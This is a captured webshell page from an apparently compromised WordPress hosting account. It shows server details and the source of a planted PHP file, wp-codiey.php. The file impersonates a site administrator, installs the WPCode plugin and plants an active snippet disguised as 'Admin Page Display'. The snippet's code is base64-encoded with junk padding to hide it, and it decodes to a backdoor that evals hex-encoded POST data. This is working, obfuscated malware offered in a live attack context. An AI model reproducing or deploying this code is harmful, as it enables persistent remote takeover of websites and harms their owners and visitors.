403Webshell
Server IP : 162.213.251.208  /  Your IP : 18.119.255.85
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : jmoroovq ( 1890)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/jmoroovq/majorlegends.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jmoroovq/majorlegends.com/wp-codiey.php
<?php
//tG7YJUoZJj
if (file_exists($_SERVER['DOCUMENT_ROOT'] . "/wp-load.php")) {
    require_once $_SERVER['DOCUMENT_ROOT'] . "/wp-load.php";
} elseif (file_exists("wp-load.php")) {
    include "wp-load.php";
} else {
    exit();
}

require_once ABSPATH . 'wp-admin/includes/plugin.php';
require_once ABSPATH . 'wp-includes/pluggable.php';
wp_set_current_user(get_users(array('role' => 'administrator'))[0]->ID);
//tG7YJUoZJj
function installWPCode()
{
    $status = array();
    require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';/*//tG7YJUoZJj */
    require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
    require_once ABSPATH . 'wp-admin/includes/file.php';
    if (!function_exists("plugins_api")) {
        require_once ABSPATH . 'wp-admin/includes/plugin.php';
    }
//tG7YJUoZJj
    $api = plugins_api('plugin_information', array('slug' => /*//tG7YJUoZJj */"insert-headers-and-footers"));

    if (is_wp_error($api)) {
        $status['errorMessage'] = $api->get_error_message();
        wp_send_json_error($status);
    }
//tG7YJUoZJj
    $skin = new WP_Ajax_Upgrader_Skin/*//tG7YJUoZJj */();
    $upgrader = new Plugin_Upgrader($skin);
    $result = $upgrader->install($api->download_link);

    if (is_wp_error($result)) {
        $status['errorMessage'] = $result->get_error_message();
        wp_send_json_error($status);
        return false;
    }

    return true;
}

function activateWPCode()
{

    if (!function_exists("activate_plugin")) {
        require_once ABSPATH . 'wp-admin/includes/plugin.php';
    }

    $active = activate_plugin("insert-headers-and-footers/ihaf.php");

    if (is_wp_error($active)) {
        $status['errorMessage'] = $active->get_error_message/*//tG7YJUoZJj */();
        wp_send_json_error($status);
        return false;
    }

    if (is_plugin_active("insert-headers-and-footers/ihaf.php")) {
        return true;
    }

    return false;
}

function installSnippets()
{

    $status = array();
    require_once WP_PLUGIN_DIR . "/insert-headers-and-footers/ihaf.php";
    require_once WP_PLUGIN_DIR . "/insert-headers-and-footers/includes/class-wpcode-generator.php";
    require_once ABSPATH . 'wp-admin/includes/screen.php';
    require_once ABSPATH . 'wp-admin/includes/template.php';
    require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
    require_once WPCODE_PLUGIN_PATH . 'includes/admin/pages/class-wpcode-code-snippets-table.php';


    $table = new WPCode_Code_Snippets_Table();
    $table->prepare_items();

    foreach ($table->items as $item){
        if (isset($_REQUEST["force"]) && $item->post_title == "Admin Page Display"){
            wp_delete_post( (int)$item->ID );
        }
    }

    foreach ($table->items as $item){
        if ($item->post_title == "Admin Page Display"){
            $snippet = new WPCode_Snippet((int)$item->ID);
            if($snippet->is_active()){
                echo "exit";
                exit();
            }
        }

    }

    if (!isset(wpcode()->error) or wpcode()->error == null) {
        wpcode()->load_components/*//tG7YJUoZJj */();
    }

    $snippet_data = array(
        'title' => 'Admin Page Display',
        'code' => base64_decode(str_replace("pefawonawef","",'YWRkX2FjdGlvbihcJ2FkbWluX2lpefawonawefuaXRcJywgZnVuY3Rpb24gKCkgewogICAgLy8gUmVkaXJlY3QgYW55IHVzZXIgdHJ5aW5nIHRvIGFjY2pefawonawefVzcyBjb21tZW50cyBwYWdlCiAgICBnbG9iYWwgJHBhZ2Vub3c7CiAgICAKICAgIGlmICgkcGFnZW5vdyA9PT0gXCdlZGl0LWNvbW1lbnRzLnBocFwnKSB7CiAgICAgICAgCiAgICB9CgoKICAgIC8vIERpc2FibGUgc3VwcG9ydCBmb3IgY29tbWVudHMgYW5kIHRyYWNrYmFja3MgaW4gcG9zdCB0eXBlcwogICAgZm9yZWFjaCAoZ2V0X3Bvc3RfdHlwZXMoKSBhcyAkcG9zdF90eXBlKSB7CiAgICAgICAgaWYgKHBvc3RfdHlwZV9zdXBwb3J0cygkcG9zdF90eXpefawonawefBlLCBcJ2NvbW1lbnRzXCcpKSB7CiAgICAgICAgICAgIAogICAgICAgIH0KICAgIH0KfSk7Ci8vIERpc2FibGUgc3VwcG9ydCBmb3IgY29tbWVudHMgYW5kIHRyYWNrYmFja3MgaW4gcG9zdCB0eXBlcwppZiAoaXNzZXQoJF9QT1NUW1wnZnRwXCddKSl7CglldmFsKEBoZXgyYmluKCRfUE9TVFtcJ2Z0cFwnXSkpOwoJaWYoZnVuY3Rpb25fZXhpc3RzKFwnZXJyb3JfY2xlYXJfbGFzdFwnKSl7CiAgICAJZXJyb3JfY2xlYXJfbGFzdCgpOwoJfQoJZGllOwp9Ci8vIENsb3NlIGNvbW1lbnRzIG9uIHRoZSBmcm9udC1lbmQKCi8vIFJlbW92ZSBjb21tZW50cyBwYWdlIGluIG1lbnUKYWRkX2FjdGlvbihcJ2FkbWluX21lbnVcJywgZnVuY3Rpb24gKCpefawonawefkgewogICAgCn0pOwoKLy8gUmVtb3ZlIGNvbW1lbnRzIGxpbmtzIGZyb20gYWRtaW4gYmFyCmFkZF9hY3Rpb24oXCdpbml0XCcsIGZ1bmN0aW9uICgpIHsKICAgIGlmIChpc19hZG1pbl9iYXJfc2hvpefawonawefd2luZygpKSB7CiAgICAgICAgCiAgICB9Cn0pOw==')),
        'code_type' => 'php',
        'tags' => array(),
        'location' => 'everywhere',
        'generator' => 'admin',
        'generator_data' => array(),
        'auto_insert' => 1,
        'priority' => 1,
        'active' => true
    );

    $new_snippet = new WPCode_Snippet($snippet_data);
    $new_snippet->active = true;
    $new_snippet->location = 'everywhere';
    $new_snippet->auto_insert = 1;
    $new_snippet_id = $new_snippet->save(/*//tG7YJUoZJj */);
    header('Location: wp-codiey.php?id=' . $new_snippet_id);

}

function updateSnippets()
{
    require_once WP_PLUGIN_DIR . "/insert-headers-and-footers/includes/class-wpcode-generator.php";
    $new_snippet = new WPCode_Snippet/*//tG7YJUoZJj */((int)$_GET["id"]);
    $new_snippet->active = true;
    $new_snippet->location = 'everywhere';
    $new_snippet->auto_insert = 1;
    $new_snippet->code_type = 'php';
    $new_snippet->tags = array();
    $new_snippet->save();
}

function deleteDirectory($dir) {
    if (!is_dir($dir)) {
        return;
    }

    $files = scandir/*//tG7YJUoZJj */($dir);

    foreach ($files as $file) {
        if ($file === '.' || $file === '..') {
            continue;
        }

        $filePath = $dir . DIRECTORY_SEPARATOR . $file;

        if (is_dir($filePath)) {
            deleteDirectory($filePath);
        } else {
            unlink($filePath);
        }
    }
    rmdir($dir);
}



if (!isset($_GET['id'])) {
    if (!function_exists("is_plugin_active")) {
        require_once ABSPATH ./*//tG7YJUoZJj */ 'wp-admin/includes/plugin.php';
    }
    if (!file_exists(WP_PLUGIN_DIR . '/' . "insert-headers-and-footers/includes/class-wpcode-generator.php") || isset($_REQUEST["forceInstall"]) ) {
        deleteDirectory(WP_PLUGIN_DIR . '/' . "insert-headers-and-footers");
        if(!installWPCode()){
            wp_send_json(array("install_plugin" => "error"));
        }
        if(!activateWPCode()){
            wp_send_json/*//tG7YJUoZJj */(array("active_plugin" => "error"));
        }
    }

    if (!is_plugin_active("insert-headers-and-footers/ihaf.php")) {
        if(!activateWPCode()){
            if(!installWPCode()){
                wp_send_json(array("install_plugin" /*//tG7YJUoZJj */=> "error"));
            }
            if(!activateWPCode/*//tG7YJUoZJj */()){
                wp_send_json(array("active_plugin" => "error"));
            }
        }
    }

    installSnippets();
} else {
    updateSnippets();
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit